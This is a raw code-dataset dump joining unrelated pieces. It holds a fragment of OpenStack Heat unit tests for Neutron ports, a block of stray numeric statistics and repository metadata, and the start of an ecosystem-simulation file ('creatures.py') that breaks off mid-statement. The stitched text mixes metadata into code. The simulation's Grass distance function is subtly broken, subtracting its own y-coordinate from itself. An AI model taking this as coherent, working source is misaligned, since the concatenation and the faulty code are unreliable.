"ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) self.m.ReplayAll() t = template_format.parse(neutron_port_template) t['Resources']['port']['Properties']['fixed_ips'][0].pop('subnet') stack = utils.parse_stack(t) port = stack['port'] scheduler.TaskRunner(port.create)() self.m.VerifyAll() def test_missing_ip_address(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'net1234' ).AndReturn('net1234') neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'subnet', 'sub1234' ).AndReturn('sub1234') neutronclient.Client.create_port({'port': { 'network_id': u'net1234', 'fixed_ips': [ {'subnet_id': u'sub1234'} ], 'name': utils.PhysName('test_stack', 'port'), 'admin_state_up': True, 'device_owner': u'network:dhcp'}} ).AndReturn({'port': { "status": "BUILD", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({'port': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) self.m.ReplayAll() t = template_format.parse(neutron_port_template) t['Resources']['port']['Properties']['fixed_ips'][0].pop('ip_address') stack = utils.parse_stack(t) port = stack['port'] scheduler.TaskRunner(port.create)() self.m.VerifyAll() def test_missing_fixed_ips(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'net1234' ).AndReturn('net1234') neutronclient.Client.create_port({'port': { 'network_id': u'net1234', 'name': utils.PhysName('test_stack', 'port'), 'admin_state_up': True, 'device_owner': u'network:dhcp'}} ).AndReturn({'port': { "status": "BUILD", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({'port': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "fixed_ips": { "subnet_id": "d0e971a6-a6b4-4f4c-8c88-b75e9c120b7e", "ip_address": "10.0.0.2" } }}) self.m.ReplayAll() t = template_format.parse(neutron_port_template) t['Resources']['port']['Properties'].pop('fixed_ips') stack = utils.parse_stack(t) port = stack['port'] scheduler.TaskRunner(port.create)() self.m.VerifyAll() def test_allowed_address_pair(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'abcd1234' ).AndReturn('abcd1234') neutronclient.Client.create_port({'port': { 'network_id': u'abcd1234', 'allowed_address_pairs': [{ 'ip_address': u'10.0.3.21', 'mac_address': u'00-B0-D0-86-BB-F7' }], 'name': utils.PhysName('test_stack', 'port'), 'admin_state_up': True}} ).AndReturn({'port': { "status": "BUILD", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({'port': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) self.m.ReplayAll() t = template_format.parse(neutron_port_with_address_pair_template) stack = utils.parse_stack(t) port = stack['port'] scheduler.TaskRunner(port.create)() self.m.VerifyAll() def test_missing_mac_address(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'abcd1234' ).AndReturn('abcd1234') neutronclient.Client.create_port({'port': { 'network_id': u'abcd1234', 'allowed_address_pairs': [{ 'ip_address': u'10.0.3.21', }], 'name': utils.PhysName('test_stack', 'port'), 'admin_state_up': True}} ).AndReturn({'port': { "status": "BUILD", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({'port': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) self.m.ReplayAll() t = template_format.parse(neutron_port_with_address_pair_template) t['Resources']['port']['Properties']['allowed_address_pairs'][0].pop( 'mac_address' ) stack = utils.parse_stack(t) port = stack['port'] scheduler.TaskRunner(port.create)() self.m.VerifyAll() def test_security_groups(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'net1234' ).AndReturn('net1234') neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'subnet', 'sub1234' ).AndReturn('sub1234') neutronclient.Client.create_port({'port': { 'network_id': u'net1234', 'security_groups': ['8a2f582a-e1cd-480f-b85d-b02631c10656', '024613dc-b489-4478-b46f-ada462738740'], 'fixed_ips': [ {'subnet_id': u'sub1234', 'ip_address': u'10.0.3.21'} ], 'name': utils.PhysName('test_stack', 'port'), 'admin_state_up': True, 'device_owner': u'network:dhcp'}} ).AndReturn({'port': { "status": "BUILD", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({'port': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) self.m.ReplayAll() t = template_format.parse(neutron_port_template) t['Resources']['port']['Properties']['security_groups'] = [ '8a2f582a-e1cd-480f-b85d-b02631c10656', '024613dc-b489-4478-b46f-ada462738740'] stack = utils.parse_stack(t) port = stack['port'] scheduler.TaskRunner(port.create)() self.m.VerifyAll() def test_create_and_update_port(self): props = {'network_id': u'net1234', 'name': utils.PhysName('test_stack', 'port'), 'admin_state_up': True, 'device_owner': u'network:dhcp'} new_props = props.copy() new_props['name'] = "new_name" new_props_update = new_props.copy() new_props_update.pop('network_id') neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'net1234' ).AndReturn('net1234') neutronclient.Client.create_port( {'port': props} ).AndReturn({'port': { "status": "BUILD", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({'port': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "fixed_ips": { "subnet_id": "d0e971a6-a6b4-4f4c-8c88-b75e9c120b7e", "ip_address": "10.0.0.2" } }}) neutronclient.Client.update_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', {'port': new_props_update} ).AndReturn(None) self.m.ReplayAll() # create port t = template_format.parse(neutron_port_template) t['Resources']['port']['Properties'].pop('fixed_ips') stack = utils.parse_stack(t) port = stack['port'] scheduler.TaskRunner(port.create)() # update port update_snippet = rsrc_defn.ResourceDefinition(port.name, port.type(), new_props) self.assertIsNone(port.handle_update(update_snippet, {}, {})) self.m.VerifyAll() def test_port_needs_update(self): props = {'network_id': u'net1234', 'name': utils.PhysName('test_stack', 'port'), 'admin_state_up': True, 'device_owner': u'network:dhcp'} neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'net1234' ).AndReturn('net1234') neutronclient.Client.create_port( {'port': props} ).AndReturn({'port': { "status": "BUILD", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({'port': { "status": "ACTIVE", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "fixed_ips": { "subnet_id": "d0e971a6-a6b4-4f4c-8c88-b75e9c120b7e", "ip_address": "10.0.0.2" } }}) self.m.ReplayAll() # create port t = template_format.parse(neutron_port_template) t['Resources']['port']['Properties'].pop('fixed_ips') stack = utils.parse_stack(t) port = stack['port'] scheduler.TaskRunner(port.create)() new_props = props.copy() # test always replace new_props['replacement_policy'] = 'REPLACE_ALWAYS' update_snippet = rsrc_defn.ResourceDefinition(port.name, port.type(), new_props) self.assertRaises(resource.UpdateReplace, port._needs_update, update_snippet, port.frozen_definition(), new_props, props, None) # test deferring to Resource._needs_update new_props['replacement_policy'] = 'AUTO' update_snippet = rsrc_defn.ResourceDefinition(port.name, port.type(), new_props) self.assertTrue(port._needs_update(update_snippet, port.frozen_definition(), new_props, props, None)) self.m.VerifyAll() def test_get_port_attributes(self): subnet_dict = {'name': 'test-subnet', 'enable_dhcp': True, 'network_id': 'net1234', 'dns_nameservers': [], 'tenant_id': '58a61fc3992944ce971404a2ece6ff98', 'ipv6_ra_mode': None, 'cidr': '10.0.0.0/24', 'allocation_pools': [{'start': '10.0.0.2', 'end': u'10.0.0.254'}], 'gateway_ip': '10.0.0.1', 'ipv6_address_mode': None, 'ip_version': 4, 'host_routes': [], 'id': '6dd609ad-d52a-4587-b1a0-b335f76062a5'} neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'net1234' ).AndReturn('net1234') neutronclient.Client.create_port({'port': { 'network_id': u'net1234', 'name': utils.PhysName('test_stack', 'port'), 'admin_state_up': True, 'device_owner': u'network:dhcp'}} ).AndReturn({'port': { 'status': 'BUILD', 'id': 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' }}) neutronclient.Client.show_subnet( 'd0e971a6-a6b4-4f4c-8c88-b75e9c120b7e' ).AndReturn({'subnet': subnet_dict}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).MultipleTimes().AndReturn({'port': { 'status': 'DOWN', 'name': utils.PhysName('test_stack', 'port'), 'allowed_address_pairs': [], 'admin_state_up': True, 'network_id': 'net1234', 'device_id': 'dc68eg2c-b60g-4b3f-bd82-67ec87650532', 'mac_address': 'fa:16:3e:75:67:60', 'tenant_id': '58a61fc3992944ce971404a2ece6ff98', 'security_groups': ['5b15d80c-6b70-4a1c-89c9-253538c5ade6'], 'fixed_ips': [{'subnet_id': 'd0e971a6-a6b4-4f4c-8c88-b75e9c120b7e', 'ip_address': '10.0.0.2'}] }}) self.m.ReplayAll() t = template_format.parse(neutron_port_template) t['Resources']['port']['Properties'].pop('fixed_ips') stack = utils.parse_stack(t) port = stack['port'] scheduler.TaskRunner(port.create)() self.assertEqual('DOWN', port.FnGetAtt('status')) self.assertEqual([], port.FnGetAtt('allowed_address_pairs')) self.assertEqual(True, port.FnGetAtt('admin_state_up')) self.assertEqual('net1234', port.FnGetAtt('network_id')) self.assertEqual('fa:16:3e:75:67:60', port.FnGetAtt('mac_address')) self.assertEqual(utils.PhysName('test_stack', 'port'), port.FnGetAtt('name')) self.assertEqual('dc68eg2c-b60g-4b3f-bd82-67ec87650532', port.FnGetAtt('device_id')) self.assertEqual('58a61fc3992944ce971404a2ece6ff98', port.FnGetAtt('tenant_id')) self.assertEqual(['5b15d80c-6b70-4a1c-89c9-253538c5ade6'], port.FnGetAtt('security_groups')) self.assertEqual([{'subnet_id': 'd0e971a6-a6b4-4f4c-8c88-b75e9c120b7e', 'ip_address': '10.0.0.2'}], port.FnGetAtt('fixed_ips')) self.assertEqual([subnet_dict], port.FnGetAtt('subnets')) self.assertRaises(exception.InvalidTemplateAttribute, port.FnGetAtt, 'Foo') self.m.VerifyAll() def test_subnet_attribute_exception(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'net1234' ).AndReturn('net1234') neutronclient.Client.create_port({'port': { 'network_id': u'net1234', 'name': utils.PhysName('test_stack', 'port'), 'admin_state_up': True, 'device_owner': u'network:dhcp'}} ).AndReturn({'port': { 'status': 'BUILD', 'id': 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' }}) neutronclient.Client.show_port( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).MultipleTimes().AndReturn({'port': { 'status': 'DOWN', 'name': utils.PhysName('test_stack', 'port'), 'allowed_address_pairs': [], 'admin_state_up': True, 'network_id': 'net1234', 'device_id': 'dc68eg2c-b60g-4b3f-bd82-67ec87650532', 'mac_address': 'fa:16:3e:75:67:60', 'tenant_id': '58a61fc3992944ce971404a2ece6ff98', 'security_groups': ['5b15d80c-6b70-4a1c-89c9-253538c5ade6'], 'fixed_ips': [{'subnet_id': 'd0e971a6-a6b4-4f4c-8c88-b75e9c120b7e', 'ip_address': '10.0.0.2'}] }}) neutronclient.Client.show_subnet( 'd0e971a6-a6b4-4f4c-8c88-b75e9c120b7e' ).AndRaise(qe.NeutronClientException('ConnectionFailed: Connection ' 'to neutron failed: Maximum ' 'attempts reached')) self.m.ReplayAll() t = template_format.parse(neutron_port_template) t['Resources']['port']['Properties'].pop('fixed_ips') stack = utils.parse_stack(t) port = stack['port'] scheduler.TaskRunner(port.create)() self.assertIsNone(port.FnGetAtt('subnets')) log_msg = ('Failed to fetch resource attributes: ConnectionFailed: ' 'Connection to neutron failed: Maximum attempts reached') self.assertIn(log_msg, self.LOG.output) self.m.VerifyAll() class NetworkConstraintTest(HeatTestCase): def test_validate(self): nc = self.m.CreateMockAnything() self.m.StubOutWithMock(neutron.NeutronClientPlugin, '_create') neutron.NeutronClientPlugin._create().AndReturn(nc) self.m.StubOutWithMock(neutron.neutronV20, 'find_resourceid_by_name_or_id') neutron.neutronV20.find_resourceid_by_name_or_id( nc, 'network', 'foo' ).AndReturn('foo') neutron.neutronV20.find_resourceid_by_name_or_id( nc, 'network', 'bar' ).AndRaise(qe.NeutronClientException(status_code=404)) self.m.ReplayAll() constraint = neutron.NetworkConstraint() ctx = utils.dummy_context() self.assertTrue(constraint.validate("foo", ctx)) self.assertFalse(constraint.validate("bar", ctx)) self.m.VerifyAll() class PortConstraintTest(HeatTestCase): def test_validate(self): nc = self.m.CreateMockAnything() self.m.StubOutWithMock(neutron.NeutronClientPlugin, '_create') neutron.NeutronClientPlugin._create().AndReturn(nc) self.m.StubOutWithMock(neutron.neutronV20, 'find_resourceid_by_name_or_id') neutron.neutronV20.find_resourceid_by_name_or_id( nc, 'port', 'foo' ).AndReturn('foo') neutron.neutronV20.find_resourceid_by_name_or_id( nc, 'port', 'bar' ).AndRaise(qe.NeutronClientException(status_code=404)) self.m.ReplayAll() constraint = neutron.PortConstraint() ctx = utils.dummy_context() self.assertTrue(constraint.validate("foo", ctx)) self.assertFalse(constraint.validate("bar", ctx)) self.m.VerifyAll() class RouterConstraintTest(HeatTestCase): def test_validate(self): nc = self.m.CreateMockAnything() self.m.StubOutWithMock(neutron.NeutronClientPlugin, '_create') neutron.NeutronClientPlugin._create().AndReturn(nc) self.m.StubOutWithMock(neutron.neutronV20, 'find_resourceid_by_name_or_id') neutron.neutronV20.find_resourceid_by_name_or_id( nc, 'router', 'foo' ).AndReturn('foo') neutron.neutronV20.find_resourceid_by_name_or_id( nc, 'router', 'bar' ).AndRaise(qe.NeutronClientException(status_code=404)) self.m.ReplayAll() constraint = neutron.RouterConstraint() ctx = utils.dummy_context() self.assertTrue(constraint.validate("foo", ctx)) self.assertFalse(constraint.validate("bar", ctx)) self.m.VerifyAll() class SubnetConstraintTest(HeatTestCase): def test_validate(self): nc = self.m.CreateMockAnything() self.m.StubOutWithMock(neutron.NeutronClientPlugin, '_create') neutron.NeutronClientPlugin._create().AndReturn(nc) self.m.StubOutWithMock(neutron.neutronV20, 'find_resourceid_by_name_or_id') neutron.neutronV20.find_resourceid_by_name_or_id( nc, 'subnet', 'foo' ).AndReturn('foo') neutron.neutronV20.find_resourceid_by_name_or_id( nc, 'subnet', 'bar' ).AndRaise(qe.NeutronClientException(status_code=404)) self.m.ReplayAll() constraint = neutron.SubnetConstraint() ctx = utils.dummy_context() self.assertTrue(constraint.validate("foo", ctx)) self.assertFalse(constraint.validate("bar", ctx)) self.m.VerifyAll()
37.022487
79
0.561694
10,628
111,956
5.729206
0.054949
0.063656
0.033897
0.042371
0.870685
0.842421
0.805567
0.776055
0.755411
0.733306
0
0.105693
0.305924
111,956
3,023
80
37.034734
0.677901
0.017775
0
0.736624
0
0.001507
0.318069
0.128703
0
0
0
0
0.054258
1
0.024115
false
0.000754
0.008666
0
0.03994
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
03aa71ef7431e152b0898e9589a897712722f95e
38,024
py
Python
creatures.py
paleEferit/ecosim
7d46c1ad1a70abcaf94598852914fe5f36519a62
[ "MIT" ]
null
null
null
creatures.py
paleEferit/ecosim
7d46c1ad1a70abcaf94598852914fe5f36519a62
[ "MIT" ]
null
null
null
creatures.py
paleEferit/ecosim
7d46c1ad1a70abcaf94598852914fe5f36519a62
[ "MIT" ]
null
null
null
from __future__ import annotations from ecosim_entities import * class Grass(Plant): def __init__(self, start_life: int, start_energy: int, max_life: int, max_energy: int, display: str, x: int, y: int, dist: int, descendant_count_min: int, descendant_count_max: int, speed: int, speed_max: int, can_breed_on_self: bool, sight: int): Plant.__init__(self, start_life, start_energy, max_life, max_energy, display, x, y, dist, descendant_count_min, descendant_count_max, speed, speed_max, can_breed_on_self, sight) def create_descendant(self, start_life: int, start_energy: int, max_life: int, max_energy: int, display: str, x: int, y: int, dist: int, descendant_count_min: int, descendant_count_max: int, speed: int, speed_max: int, can_breed_on_self: bool, sight: int) -> Plant: return Grass(start_life, start_energy, max_life, max_energy, display, x, y, dist, descendant_count_min, descendant_count_max, speed, speed_max, can_breed_on_self, sight) def get_name(self) -> str: return 'grass' def _dist_sqr(self, obj: EcoObject) -> int: return (self.get_x() - obj.get_x())**2 + (self.get_y() - self.get_y())**2 def act_on(self, object_list: List[EcoObject], engine: Engine) -> NoReturn: # breed sequence if self.can_breed(): # candidate list acceptable: List[EcoObject] = [] for eo in object_list: target_name = eo.get_name() my_name = self.get_name() target_can_breed = eo.can_breed() i_can_breed = self.can_breed() if eo.__ne__(self) and target_name.__eq__(my_name) and target_can_breed and engine.can_breed_on_turn(eo) and engine.can_breed_on_turn(self): acceptable.append(eo) breed_range = engine.get_breed_range() real_candidates: List[EcoObject] = [] for a in acceptable: if (self._dist_sqr(a) <= breed_range ** 2) and (engine.can_breed(self, a)): real_candidates.append(a) if isinstance(self, Plant): if len(real_candidates) > 0: max_energy = real_candidates[0].get_energy_value() candidate = real_candidates[0] for c in real_candidates: if c.get_energy_value() > max_energy: max_energy = c.get_energy_value() candidate = c engine.breed(self, candidate) else: engine.breed(self, self) class Rabbit(Animal): def __init__(self, start_life: int, start_energy: int, max_life: int, max_energy: int, display: str, x: int, y: int, dist: int, descendant_count_min: int, descendant_count_max: int, speed: int, speed_max: int, can_breed_on_self: bool, sight: int, strength: int, gender: Gender): Animal.__init__(self, start_life, start_energy, max_life, max_energy, display, x, y, dist, descendant_count_min, descendant_count_max, speed, speed_max, can_breed_on_self, sight, strength, gender) def create_descendant(self, start_life: int, start_energy: int, max_life: int, max_energy: int, display: str, x: int, y: int, dist: int, descendant_count_min: int, descendant_count_max: int, speed: int, speed_max: int, can_breed_on_self: bool, sight: int, strength: int, gender: Gender) -> Animal: return Rabbit(start_life, start_energy, max_life, max_energy, display, x, y, dist, descendant_count_min, descendant_count_max, speed, speed_max, can_breed_on_self, sight, strength, gender) def get_name(self) -> str: return 'rabbit' def can_eat(self, obj: EcoObject) -> bool: res = isinstance(obj, Plant) return res def act_on(self, object_list: List[EcoObject], engine: Engine): # resetting target if (self.is_target_set()) and (self.get_x() == self.get_target_x()) and ( self.get_y() == self.get_target_y()): self.reset_target() action_is_possible_flag: bool = True # more for testing mb if self.is_target_set(): action_is_possible_flag = False # making lists acceptable: List[EcoObject] = [] eaters: List[Animal] = [] food: List[EcoObject] = [] # filling lists for eo in object_list: if eo.__ne__(self): if eo.get_name().__eq__(self.get_name()) and eo.can_breed() and engine.can_breed_on_turn( eo) and engine.can_breed_on_turn(self): if isinstance(eo, Animal) and isinstance(self, Animal): if eo.get_gender() != self.get_gender(): acceptable.append(eo) else: acceptable.append(eo) if isinstance(eo, Animal): tmp = eo if (tmp.can_eat(self)) and (self.get_strength() < tmp.get_strength()): eaters.append(tmp) if self.can_eat(eo): if isinstance(eo, Animal): tmp = eo if tmp.get_strength() < self.get_strength(): food.append(eo) else: food.append(eo) # run sequence if len(eaters) > 0 and not isinstance(self, Plant): action_is_possible_flag = False x_start = self.get_x() y_start = self.get_y() y_vec_sum = 0 x_vec_sum = 0 count = 0 min_x = engine.get_min_x() max_x = engine.get_max_x() min_y = engine.get_min_y() max_y = engine.get_max_y() for ea in eaters: tmp_x_v = ea.get_x() - x_start tmp_y_v = ea.get_y() - y_start count += 1 x_vec_sum += tmp_x_v y_vec_sum += tmp_y_v target_x: int = max(min(x_start - self.get_speed_max() * round(x_vec_sum / count), max_x), min_x) target_y: int = max(min(y_start - self.get_speed_max() * round(y_vec_sum / count), max_y), min_y) # updating target to not be cornered hostile_vector_x = round(x_vec_sum / count) hostile_vector_y = round(y_vec_sum / count) if (x_start == min_x or x_start == max_x) or (y_start == min_y or y_start == max_y) and ( target_x == x_start) and (target_y == y_start): if abs(hostile_vector_x) > abs(hostile_vector_y): if hostile_vector_y > 0: target_y = max_y else: target_y = min_y else: if hostile_vector_x > 0: target_x = max_x else: target_x = min_x self.set_target(target_x, target_y) # feed sequence if (not self.can_breed() or len(acceptable) == 0) and not self.is_target_set() and len( food) > 0 and not engine.is_well_fed(self): action_is_possible_flag = False max_food_energy = food[0].get_energy_value() max_energy_candidate = food[0] min_food_distance = self._dist_sqr(food[0]) min_distance_candidate = food[0] for f in food: energy = f.get_energy_value() distance = self._dist_sqr(f) if energy > max_food_energy: max_food_energy = energy max_energy_candidate = f if distance < min_food_distance: min_food_distance = distance min_distance_candidate = f candidate: EcoObject = max_energy_candidate ratio = self._dist_sqr(max_energy_candidate) / min_food_distance if ratio >= 4 or min_food_distance <= 2: candidate = min_distance_candidate # action selection food_distance = self._dist_sqr(candidate) if food_distance <= 2: engine.eat(self, candidate) self.reset_target() else: target_x = candidate.get_x() target_y = candidate.get_y() self.set_target(target_x, target_y) # breed sequence if self.can_breed() and len(acceptable) > 0 and not self.is_target_set(): action_is_possible_flag = False # candidate list breed_range = engine.get_breed_range() real_candidates: List[EcoObject] = [] for a in acceptable: if (self._dist_sqr(a) <= breed_range ** 2) and (engine.can_breed(self, a)): real_candidates.append(a) if len(real_candidates) > 0: max_energy = real_candidates[0].get_energy_value() candidate = real_candidates[0] if isinstance(self, Plant): if len(real_candidates) > 0: for c in real_candidates: if c.get_energy_value() > max_energy: max_energy = c.get_energy_value() candidate = c engine.breed(self, candidate) else: engine.breed(self, self) elif isinstance(self, Animal): for c in acceptable: if c.get_energy_value() > max_energy: max_energy = c.get_energy_value() candidate = c if (self._dist_sqr(candidate) <= breed_range ** 2) and (engine.can_breed(self, candidate)): engine.breed(self, candidate) else: self.set_target(candidate.get_x(), candidate.get_y()) else: action_is_possible_flag = True # pick random direction just in case there is nothing to do if (len(object_list) == 0) or (action_is_possible_flag and not self.is_target_set()): x_v = self.get_speed_max() * random.randint(-self.get_dist(), self.get_dist()) y_v = self.get_speed_max() * random.randint(-self.get_dist(), self.get_dist()) if x_v == 0 and y_v == 0: x_v = self.get_dist() y_v = - self.get_dist() min_x = engine.get_min_x() max_x = engine.get_max_x() min_y = engine.get_min_y() max_y = engine.get_max_y() target_x = max(min(self.get_x() + x_v, max_x), min_x) target_y = max(min(self.get_y() + y_v, max_y), min_y) self.set_target(target_x, target_y) # move sequence if self.is_target_set(): # a crutch to fix out of range max_x = engine.get_max_x() min_x = engine.get_min_x() max_y = engine.get_max_y() min_y = engine.get_min_y() target_x = max(min(self.get_target_x(), max_x), min_x) target_y = max(min(self.get_target_y(), max_y), min_y) self.set_target(target_x, target_y) vector_x = target_x - self.get_x() vector_y = target_y - self.get_y() if engine.can_jump(self, vector_x, vector_y): engine.jump(self, vector_x, vector_y) self.reset_target() elif engine.can_breed_at_pos(self, target_x, target_y): engine.breed_by_pos(self, target_x, target_y) elif engine.can_eat_at_pos(self, target_x, target_y): engine.eat_by_pos(self, target_x, target_y) elif engine.can_step(self, vector_x, vector_y): engine.step(self, vector_x, vector_y) elif (vector_x != 0) or (vector_y != 0): dist_counter = self.get_dist() jump_flag = False while dist_counter > 1: ratio = dist_counter / math.sqrt(vector_x ** 2 + vector_y ** 2) vector_x = math.floor(vector_x * ratio) vector_y = math.floor(vector_y * ratio) if engine.can_jump(self, vector_x, vector_y): jump_flag = True break dist_counter -= 1 if jump_flag: engine.jump(self, vector_x, vector_y) else: self.reset_target() class Wolf(Animal): def __init__(self, start_life: int, start_energy: int, max_life: int, max_energy: int, display: str, x: int, y: int, dist: int, descendant_count_min: int, descendant_count_max: int, speed: int, speed_max: int, can_breed_on_self: bool, sight: int, strength: int, gender: Gender): Animal.__init__(self, start_life, start_energy, max_life, max_energy, display, x, y, dist, descendant_count_min, descendant_count_max, speed, speed_max, can_breed_on_self, sight, strength, gender) def create_descendant(self, start_life: int, start_energy: int, max_life: int, max_energy: int, display: str, x: int, y: int, dist: int, descendant_count_min: int, descendant_count_max: int, speed: int, speed_max: int, can_breed_on_self: bool, sight: int, strength: int, gender: Gender) -> Animal: return Wolf(start_life, start_energy, max_life, max_energy, display, x, y, dist, descendant_count_min, descendant_count_max, speed, speed_max, can_breed_on_self, sight, strength, gender) def get_name(self) -> str: return 'wolf' def can_eat(self, obj: EcoObject) -> bool: res = isinstance(obj, Animal) and not obj.get_name().__eq__(self.get_name()) and not obj.__eq__(self) return res def act_on(self, object_list: List[EcoObject], engine: Engine): # resetting target if (self.is_target_set()) and (self.get_x() == self.get_target_x()) and ( self.get_y() == self.get_target_y()): self.reset_target() action_is_possible_flag: bool = True # more for testing mb if self.is_target_set(): action_is_possible_flag = False # making lists acceptable: List[EcoObject] = [] eaters: List[Animal] = [] food: List[EcoObject] = [] # filling lists for eo in object_list: if eo.__ne__(self): if eo.get_name().__eq__(self.get_name()) and eo.can_breed() and engine.can_breed_on_turn(eo) and engine.can_breed_on_turn(self): if isinstance(eo, Animal) and isinstance(self, Animal): if eo.get_gender() != self.get_gender(): acceptable.append(eo) else: acceptable.append(eo) if isinstance(eo, Animal): tmp = eo if (tmp.can_eat(self)) and (self.get_strength() < tmp.get_strength()): eaters.append(tmp) if self.can_eat(eo): if isinstance(eo, Animal): tmp = eo if tmp.get_strength() < self.get_strength(): food.append(eo) else: food.append(eo) # run sequence if len(eaters) > 0 and not isinstance(self, Plant): action_is_possible_flag = False x_start = self.get_x() y_start = self.get_y() y_vec_sum = 0 x_vec_sum = 0 count = 0 min_x = engine.get_min_x() max_x = engine.get_max_x() min_y = engine.get_min_y() max_y = engine.get_max_y() for ea in eaters: tmp_x_v = ea.get_x() - x_start tmp_y_v = ea.get_y() - y_start count += 1 x_vec_sum += tmp_x_v y_vec_sum += tmp_y_v target_x: int = max(min(x_start - self.get_speed_max() * round(x_vec_sum / count), max_x), min_x) target_y: int = max(min(y_start - self.get_speed_max() * round(y_vec_sum / count), max_y), min_y) # updating target to not be cornered hostile_vector_x = round(x_vec_sum / count) hostile_vector_y = round(y_vec_sum / count) if (x_start == min_x or x_start == max_x) or (y_start == min_y or y_start == max_y) and (target_x == x_start) and (target_y == y_start): if abs(hostile_vector_x) > abs(hostile_vector_y): if hostile_vector_y > 0: target_y = max_y else: target_y = min_y else: if hostile_vector_x > 0: target_x = max_x else: target_x = min_x self.set_target(target_x, target_y) # feed sequence if (not self.can_breed() or len(acceptable) == 0) and not self.is_target_set() and len(food) > 0 and not engine.is_well_fed(self): action_is_possible_flag = False max_food_energy = food[0].get_energy_value() max_energy_candidate = food[0] min_food_distance = self._dist_sqr(food[0]) min_distance_candidate = food[0] for f in food: energy = f.get_energy_value() distance = self._dist_sqr(f) if energy > max_food_energy: max_food_energy = energy max_energy_candidate = f if distance < min_food_distance: min_food_distance = distance min_distance_candidate = f candidate: EcoObject = max_energy_candidate ratio = self._dist_sqr(max_energy_candidate) / min_food_distance if ratio >= 4 or min_food_distance <= 2: candidate = min_distance_candidate # action selection food_distance = self._dist_sqr(candidate) if food_distance <= 2: engine.eat(self, candidate) self.reset_target() else: target_x = candidate.get_x() target_y = candidate.get_y() self.set_target(target_x, target_y) # breed sequence if self.can_breed() and len(acceptable) > 0 and not self.is_target_set(): action_is_possible_flag = False # candidate list breed_range = engine.get_breed_range() real_candidates: List[EcoObject] = [] for a in acceptable: if (self._dist_sqr(a) <= breed_range ** 2) and (engine.can_breed(self, a)): real_candidates.append(a) if len(real_candidates) > 0: max_energy = real_candidates[0].get_energy_value() candidate = real_candidates[0] if isinstance(self, Plant): if len(real_candidates) > 0: for c in real_candidates: if c.get_energy_value() > max_energy: max_energy = c.get_energy_value() candidate = c engine.breed(self, candidate) else: engine.breed(self, self) elif isinstance(self, Animal): for c in acceptable: if c.get_energy_value() > max_energy: max_energy = c.get_energy_value() candidate = c if (self._dist_sqr(candidate) <= breed_range ** 2) and (engine.can_breed(self, candidate)): engine.breed(self, candidate) else: self.set_target(candidate.get_x(), candidate.get_y()) else: action_is_possible_flag = True # pick random direction just in case there is nothing to do if (len(object_list) == 0) or (action_is_possible_flag and not self.is_target_set()): x_v = self.get_speed_max() * random.randint(-self.get_dist(), self.get_dist()) y_v = self.get_speed_max() * random.randint(-self.get_dist(), self.get_dist()) if x_v == 0 and y_v == 0: x_v = self.get_dist() y_v = - self.get_dist() min_x = engine.get_min_x() max_x = engine.get_max_x() min_y = engine.get_min_y() max_y = engine.get_max_y() target_x = max(min(self.get_x() + x_v, max_x), min_x) target_y = max(min(self.get_y() + y_v, max_y), min_y) self.set_target(target_x, target_y) # move sequence if self.is_target_set(): # a crutch to fix out of range max_x = engine.get_max_x() min_x = engine.get_min_x() max_y = engine.get_max_y() min_y = engine.get_min_y() target_x = max(min(self.get_target_x(), max_x), min_x) target_y = max(min(self.get_target_y(), max_y), min_y) self.set_target(target_x, target_y) vector_x = target_x - self.get_x() vector_y = target_y - self.get_y() if engine.can_jump(self, vector_x, vector_y): engine.jump(self, vector_x, vector_y) self.reset_target() elif engine.can_breed_at_pos(self, target_x, target_y): engine.breed_by_pos(self, target_x, 